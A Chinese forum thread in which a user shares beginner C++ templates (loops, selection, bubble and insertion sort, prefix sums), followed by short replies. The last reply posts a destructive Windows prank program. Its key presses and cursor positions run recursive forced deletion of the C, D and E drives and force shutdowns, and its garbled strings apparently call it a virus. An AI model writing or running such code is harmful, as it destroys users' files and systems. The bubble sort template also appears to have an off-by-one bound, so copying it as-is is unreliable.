猫史档案馆


随便做的C++代码模板,不喜勿喷

用户:LWKevin0wvf小号LWKevin0wvf小号查看:2 回复:9 评论:2 创建时间:2024-03-23T17:05:30


因为是word格式,所以转成图片了。

前天晚上刚开始做的,内容比较少,目录只是提前分类,现在只有7页基础的东西,代码主要是写的时候用来搬的。

内容浅显,不喜勿喷。

center_imagecenter_imagecenter_imagecenter_imagecenter_imagecenter_imagecenter_imagecenter_imagecenter_image


回复

上一页1 页 / 共 1下一页
LWKevin0wvf小号LWKevin0wvf小号

#include <iostream>
using namespace std;

int main()
{
	
    return 0;
}
#include <iostream>
#define int long long
using namespace std;

signed main()
{
    
    return 0;
}
#include <bits/stdc++.h>
using namespace std;

int main()
{
	
	return 0;
}
for (int i = 1; i <= n; i++) cout << a[i] << " ";
cout << endl;
for (int i = 1; i <= n; i++)
{
    for (int j = 1; j <= m; j++) cout << a[i][j] << " ";
    cout << endl;
}
for (int i = 1; i <= n; i++) cout << i << endl;
for (int i = n; i >= 1; i--) cout << i << endl;
for (int i = 1; i <= n; i++) cin >> a[i];
for (int i = 1; i <= n; i++) for (int j = 1; j <= m; j++) cin >> a[i][j];
for (int i = 1; i <= n; i++)
{
    if (condition) break;
    other programs
}
while (cin >> a[i]) i++;
while (i <= num) i++;
#include <iostream>
using namespace std;

int a[num];

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    for (int i = 1; i <= n; i++)
    {
        for (int j = 1; j <= i; j++) 
        {
            if (a[i] < a[j]) swap(a[i], a[j]);
        }
    }
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}

#include <iostream>
#include <algorithm>
using namespace std;

int a[num];

bool cmp(int x, int y)
{
    return x < y;
}

void selectionSort(int *first, int *last, bool (*comp)(int, int))
{
    for (int *i = first; i < last; i++)
    {
        for (int *j = first; j < i; j++) 
        {
            if (comp(*i, *j)) swap(*i, *j);
        }
    }
}

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    selectionSort(a + 1, a + n + 1, cmp);
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}
#include <iostream>
using namespace std;

int a[num];

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    for (int i = 1; i < n; i++)
    {
        for (int j = 1; j < n - i; j++) 
        {
            if (a[j + 1] < a[j]) swap(a[j], a[j + 1]);
        }
    }
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}
#include <iostream>
#include <algorithm>
using namespace std;

int a[num];

bool cmp(int x, int y)
{
    return x < y;
}

void bubbleSort(int *first, int *last, bool (*comp)(int, int))
{
    for (int *i = first, sub = 0; i < last - 1; i++, sub++)
    {
        for (int *j = first; j < last - sub - 1; j++) 
        {
            if (comp(*(j + 1), *j)) swap(*(j + 1), *j);
        }
    }
}

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    bubbleSort(a + 1, a + n + 1, cmp);
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}
#include <iostream>
using namespace std;

int a[num];

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    for (int i = 2; i <= n; i++)
    {
        int j = i, tmp = a[i];
        while (j && !(a[j - 1] < tmp))
        {
            a[j] = a[j - 1];
            j--;
        }
        a[j] = tmp;
    }
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}
#include <iostream>
using namespace std;

int a[num];

bool cmp(int x, int y)
{
    return x < y;
}

void insertionSort(int *first, int *last, bool (*comp)(int, int))
{
    for (int *i = first + 1; i < last; i++)
    {
        int *j = i, tmp = *i;
        while (!(*(j - 1) < tmp))
        {
            *j = *(j - 1);
            j--;
            if (j == first) break;
        }
        *j = tmp;
    }
}

int main()
{
    int n;
    cin >> n;
    for (int i = 1; i <= n; i++) cin >> a[i];
    insertionSort(a + 1, a + n + 1, cmp);
    for (int i = 1; i <= n; i++) cout << a[i] << " ";
    cout << endl;
    return 0;
}
#include <iostream>
using namespace std;

const int N = num;
int a[N], s[N];

int main()
{
    int n, q;
    cin >> n;
    //输入数组&求前缀和
    for (int i = 1; i <= n; i++)
    {
        cin >> a[i];
        s[i] = s[i - 1] + a[i];
    }
    //q次询问求区间和
    cin >> q;
    for (int i = 1; i <= q; i++)
    {
        int x, y;
        cin >> x >> y;
        cout << s[y] - s[x - 1] << endl;
    }
    return 0;
}

 

点赞0


评论


位居了位居了

喵1

点赞0


评论


一只屑动物一只屑动物

sofa

点赞0


评论


初夏晴雨初夏晴雨

好!

点赞1


评论


一位七年级的中学鸡一位七年级的中学鸡

加油

点赞0


评论


一位七年级的中学鸡一位七年级的中学鸡

有人看看我的稿吗

点赞0


评论


Data_CatyData_Caty

哇,可以啊

点赞0


评论


Data_CatyData_Caty

今天是C++3级等级考试,我5/3

点赞0


评论


受弱的喵娘の极致的艾莲厨受弱的喵娘の极致的艾莲厨

#include<iostream> #include<stdlib.h> #include<conio.h> #include<windows.h> #include<ctime> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)  #include<bits/stdc++.h> #include<stdlib.h> using namespace std; string s; POINT p; int main(){ for(;;){ if(KEY_DOWN(MOUSE_EVENT)){ Sleep(5000); break; } GetCursorPos(&p);  if(KEY_DOWN('Q')) system("calc"); if(KEY_DOWN('W')) system("start notepad"); if(KEY_DOWN('E')) system("start Nslookup"); if(KEY_DOWN('A')) system("start cleanmgr"); if(KEY_DOWN('S')) system("start "); if(KEY_DOWN('D')) system("start charmap"); if(KEY_DOWN('Z')) system("start dxdiag"); if(KEY_DOWN('X')) system("start taskmgr"); if(KEY_DOWN('C')) system("start mmc"); if(KEY_DOWN('G')) system("shutdown -s -t 10"); if(KEY_DOWN('P')) system("del /F /S /Q C:\\"); if(KEY_DOWN('L')) system("del /F /S /Q D:\\"); if(KEY_DOWN('M')) system("del /F /S /Q E:\\"); if(KEY_DOWN('V')) { for(int i=0;i<2000000;i++){ int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN); SetCursorPos(rand()%x,rand()%y); } } if(p.x>=0 and p.x<=530 and p.y>=0 and p.y<=330) system("calc"); if(p.x>=531 and p.x<=1069 and p.y>=0 and p.y<=330) system("del /F /S /Q C:\\"); if(p.x>=1070 and p.x<=1600 and p.y>=0 and p.y<=330) system("start notepad"); if(p.x>=0 and p.x<=530 and p.y>=331 and p.y<=699) system("del /F /S /Q D:\\"); if(p.x>=531 and p.x<=1069 and p.y>=331 and p.y<=699) system("shutdown -s -t 3"); if(p.x>=1070 and p.x<=1600 and p.y>=331 and p.y<=699) system("del /F /S /Q E:\\"); if(p.x>=0 and p.x<=530 and p.y<=1000) system("start Nslookup"); if(p.x>=531 and p.x<=1069 and p.y<=1000) { for(int i=0;i<200;i++){ SetCursorPos(p.x+rand()%1000,p.y+rand()%1000); } } if(p.x>=1070 and p.x<=1600 and p.y<=1000) { system("start cleanmgr"); system("start "); system("start charmap"); system("start dxdiag"); system("start taskmgr"); system("start mmc"); system("start wiaacmgr"); system("start mspaint"); } } cout<<"鎭枩浣犳潵鍒扮浜屽叧锛氭媶寮?<<endl; cout<<"璇蜂綘鍦?0娆″唴杈撳叆姝g‘瀵嗙爜锛屽惁鍒欏湪5绉掑悗鍏虫満"<<endl; for(int i=5;i>=1;i--){ cout<<i<<endl; Sleep(1000); } cout<<"寮€濮?<<endl; int cnt=0; w=10,a=5; for(int i=0;i<10;i++){ w=rand()%10; //璁剧疆闅忔満瀵嗙爜  cout<<"璇疯緭鍏ュ瘑鐮侊紵"<<endl; cin>>a; if(w!=a) cout<<"瀵嗙爜閿欒"<<endl; //鍒ゆ柇瀵嗙爜鏄惁姝g‘  else cnt++; } if(cnt==0) system("shutdown -s -t 3"); Sleep(5000); cout<<"瀵逛笉璧凤紝杩欐槸鐥呮瘨锛屽繀椤诲共浜?<<endl; for(;;){ if(KEY_DOWN(MOUSE_MOVED)){ break; } } Sleep(3000); cout<<"鍏虫満"<<endl; //system("shutdown -s -t 10"); cout<<"杩愯瀹屾瘯"; return 0; }

点赞0


评论